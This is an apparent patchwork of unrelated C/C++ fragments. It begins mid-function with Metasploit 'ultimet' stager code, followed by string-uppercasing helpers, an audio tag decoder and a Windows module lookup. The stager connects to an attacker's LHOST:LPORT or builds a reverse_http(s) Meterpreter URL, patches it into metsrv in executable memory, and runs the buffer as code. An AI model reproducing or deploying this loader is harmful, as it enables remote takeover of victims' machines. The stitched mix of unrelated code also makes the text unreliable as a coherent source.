StagerBindTCP(payload_settings.LHOST,payload_settings.LPORT); } TempBuffer = (unsigned char*)VirtualAlloc(0, StageSize + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(TempBuffer + 5, buffer, StageSize); buffer = TempBuffer; if (metsvc) dprintf(L"\n[*] Make sure you have \"windows/metsvc_bind_tcp\" handler running.\n\n"); ConnectSocket = get_server_socket(payload_settings.LHOST,payload_settings.LPORT); if (ConnectSocket == INVALID_SOCKET) { dprintf(L"[-] Failed to connect ... will exit!\n"); exit(1); } dprintf(L"[*] Setting EDI-to-be value: 0x%08x -> 0xBF\n", &buffer); buffer[0] = 0xBF; dprintf(L"[*] Copying the socket address to the next 4 bytes...\n"); memcpy(buffer+1, &ConnectSocket, 4); } // Are we reverse_http(s)? else if((wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_HTTP") == 0) || (wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_HTTPS") == 0)) { /* Building the URL */ int checksum = 0; //Calculated Checksum placeholder. char URI_Part_1[5] = {0}; //4 chars ... it can be any length actually. char URI_Part_2[17] = {0}; //16 random chars. srand ( (UINT)time(NULL) ); //Seed rand() while(true) //Keep getting random values till we succeed, don't worry, computers are pretty fast and we're not asking for much. { gen_random(URI_Part_1, 4); //Generate a 4 char long random string ... it could be any length actually, but 4 sounded just fine. checksum = TextChecksum8(URI_Part_1); //Get the 8-bit checksum of the random value if(checksum == URI_CHECKSUM_CONN) //If the checksum == 98, it will be handled by the multi/handler correctly as a "CONN_" and will be short fused into a session. { break; // We found a random string that checksums to 98 } } gen_random(URI_Part_2, 16); //get second part, random 16 chars //Let's build the complete uri, it should look like http(s)://LHOST:LPORT/CHECKSUM8(98)_XXXXXXXXXXXXXXXX/ //HTTP? HTTPS? if(wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_HTTP") == 0) strcat_s(url, "http://"); else strcat_s(url, "https://"); //The joys of converting between wchar_t and char ... char tempChar1[512] = {0}; //This is used for converting from wchar_t to char... char tempChar2[512] = {0}; //This is used for converting from wchar_t to char... wcstombs_s(NULL,tempChar1,payload_settings.LHOST, wcslen(payload_settings.LHOST)); //convert the LHOST to char wcstombs_s(NULL,tempChar2,payload_settings.LPORT, wcslen(payload_settings.LPORT)); //convert the LPORT to char //wide-char conversion happiness ends here... building the url... strcat_s(url,tempChar1); // "http(s)://LHOST" strcat_s(url,":"); // "http(s)://LHOST:" strcat_s(url,tempChar2); // "http(s)://LHOST:LPORT" strcat_s(url,"/"); // "http(s)://LHOST:LPORT/" strcat_s(url,URI_Part_1); // "http(s)://LHOST:LPORT/CONN" strcat_s(url,"_"); // "http(s)://LHOST:LPORT/CONN_" strcat_s(url,URI_Part_2); // "http(s)://LHOST:LPORT/CONN_XXXXXXXXXXXX" strcat_s(url,"/\0"); // "http(s)://LHOST:LPORT/CONN_XXXXXXXXXXXX/" //Thanks for waiting... :) wchar_t temp[512] = {0}; mbstowcs_s(NULL,temp,url,strlen(url)); dprintf(L"[*] Calculated URL: %s\n",temp); //Patching URL ... index = 0; //Rewind index = binstrstr(buffer, (int)bufferSize, (unsigned char*)global_meterpreter_url, (int)strlen(global_meterpreter_url)); if (index == 0) // if the global_meterpreter_url is not found ... { dprintf(L"[-] Couldn't locate global_meterpreter_url string, this means that the resource is not metsrv.dll, or something went wrong decrypting it."); exit(1); } dprintf(L"[*] Patching global_meterpreter_url: Offset 0x%08x -> \"%s\"\n", index, temp ); memcpy(&buffer[index], &url, strlen(url)+1); //+1 to make sure it'll be null terminated, otherwise it will end with 'X' } } dprintf(L"[*] Everything in place, casting whole buffer as a function...\n"); function = (void (*)())buffer; dprintf(L"[*] Detaching from console & calling the function, bye bye [ultimet], hello metasploit!\n"); FreeConsole(); function(); return 0; }
WString wupper(const WString& string) { WString result = string.Buffer(); _wcsupr_s((wchar_t*)result.Buffer(), result.Length() + 1); return result; }
wstring toUpperCase(wstring str) { if (str.length()) _wcsupr_s(&str[0], str.length() + 1); return str; }
void DecodeTag(PLAYERINFO* playerinfo) { const PLAYERDECODE* decode = &playerinfo->decode; AVFormatContext* format = decode->format; AVCodecContext* context = decode->context; PLAYERTAG* playertag = &playerinfo->tag; if (playertag->read) return; if (format != NULL && context != NULL) { const AVCodecDescriptor* descriptor = context->codec_descriptor; const char* name = descriptor->name; if (name != NULL) { CharToWideChar(name, 3, playertag->ext, 3); _wcsupr_s(playertag->ext, sizeof(playertag->ext) / sizeof(wchar_t)); } if (StrCmp(playertag->ext, L"MP3") == 0) { const char* filename = playerinfo->filename; id3_file* file = id3_file_open(filename, ID3_FILE_MODE_READONLY); id3_tag* tag = id3_file_tag(file); if (tag != NULL && tag->nframes > 0) { wchar_t* title = GetMP3Tag(tag, ID3_FRAME_TITLE); if (title == NULL) title = GetMP3Tag(tag, ID3_FRAME_ALBUM); wchar_t* artist = GetMP3Tag(tag, ID3_FRAME_ARTIST); playertag->artist = artist; playertag->title = title; } SAFE_DELETE_ARRAY(file->path); id3_file_close(file); } else { AVDictionary* dictionary = format->metadata; if (dictionary != NULL) { AVDictionaryEntry* entry = av_dict_get(dictionary, "title", NULL, 0); if (entry != NULL && entry->value != NULL) { wchar_t* title = UTF8toWideChar(entry->value, strlen(entry->value)); playertag->title = title; } else { entry = av_dict_get(dictionary, "album", NULL, 0); if (entry != NULL && entry->value != NULL) { wchar_t* title = UTF8toWideChar(entry->value, strlen(entry->value)); playertag->title = title; } } entry = av_dict_get(dictionary, "artist", NULL, 0); if (entry != NULL && entry->value != NULL) { wchar_t* artist = UTF8toWideChar(entry->value, strlen(entry->value)); playertag->artist = artist; } } } if (StrCmp(playertag->ext, L"PCM") == 0) StrCpy(playertag->ext, L"WAV"); if (playertag->title == NULL) { SAFE_DELETE_ARRAY(playertag->artist); SplitTag(playerinfo->filename, &playertag->title, &playertag->artist); if (playertag->title == NULL) { wchar_t* title = GetFileName(playerinfo->filename); if (title != NULL) { SplitTitle(title, &playertag->title); if (playertag->title == NULL) playertag->title = title; else SAFE_DELETE_ARRAY(title); } } if (playertag->title != NULL) { wchar_t* title = playertag->title; wchar_t* first = NULL; wchar_t* second = NULL; Split(title, L".", &first, &second); if (first != NULL && second != NULL) { if (IsNumber(first)) { SAFE_DELETE_ARRAY(title); playertag->title = second; } else { SAFE_DELETE_ARRAY(second); } SAFE_DELETE_ARRAY(first); } } } long duration = format->duration / 1000; playerinfo->duration = duration; duration = duration / 1000; long minute = duration / 60; long second = duration % 60; wsprintf(playertag->timer, L"%d:%02d", minute, second); wsprintf(playertag->sample, L"%dHz", context->sample_rate); if (context->bit_rate > 0) wsprintf(playertag->bitrate, L"%dkbps", context->bit_rate / 1000); else wsprintf(playertag->bitrate, L"%dkbps", format->bit_rate / 1000); switch (context->channels) { case 1: StrCpy(playertag->channels, L"单声道"); break; case 4: StrCpy(playertag->channels, L"四声道"); break; case 5: StrCpy(playertag->channels, L"4.1声道"); break; case 6: StrCpy(playertag->channels, L"5.1声道"); break; case 7: StrCpy(playertag->channels, L"6.1声道"); break; case 8: StrCpy(playertag->channels, L"7.1声道"); break; default: StrCpy(playertag->channels, L"立体声"); break; } } playertag->read = TRUE; }
BOOL PsGetModuleInfo(HANDLE ProcessHandle, BOOL IsProcessInitialized, BOOL IsModule32, LPCWSTR ModuleName, PMODULE_INFO ModuleInfo) { BOOL result; MODULE_INFO *modules; SIZE_T numOfModules; WCHAR compareModuleName[MAX_PATH]; WCHAR retModuleName[MAX_PATH]; result = wcscpy_s(compareModuleName, MAX_PATH, ModuleName) == 0; if (!result) { return FALSE; } result = _wcsupr_s(compareModuleName, MAX_PATH) == 0; if (!result) { return FALSE; } modules = (PMODULE_INFO)AllocMem(sizeof(MODULE_INFO) * 0x1000); if (!modules) { return FALSE; } result = PsGetProcessModules(ProcessHandle, IsProcessInitialized, modules, 0x1000, &numOfModules); if (!result) { DeallocMem(modules); return FALSE; } if (numOfModules == 0) { DeallocMem(modules); return FALSE; } for (SIZE_T i = 0; i < numOfModules; ++i) { if (IsModule32 && ((UINT64)(modules[i].ModuleHandle)) > 0xFFFFFFFFULL) { continue; } result = wcscpy_s(retModuleName, MAX_PATH, modules[i].ModuleName) == 0; if (!result) { DeallocMem(modules); return FALSE; } result = _wcsupr_s(retModuleName, MAX_PATH) == 0; if (!result) { DeallocMem(modules); return FALSE; } result = wcscmp(retModuleName, compareModuleName) == 0; if (result) { ModuleInfo->ModuleHandle = modules[i].ModuleHandle; wcscpy_s(ModuleInfo->ModuleName, MAX_PATH, modules[i].ModuleName); wcscpy_s(ModuleInfo->ModulePath, MAX_PATH, modules[i].ModulePath); DeallocMem(modules); return TRUE; } } DeallocMem(modules); return FALSE; }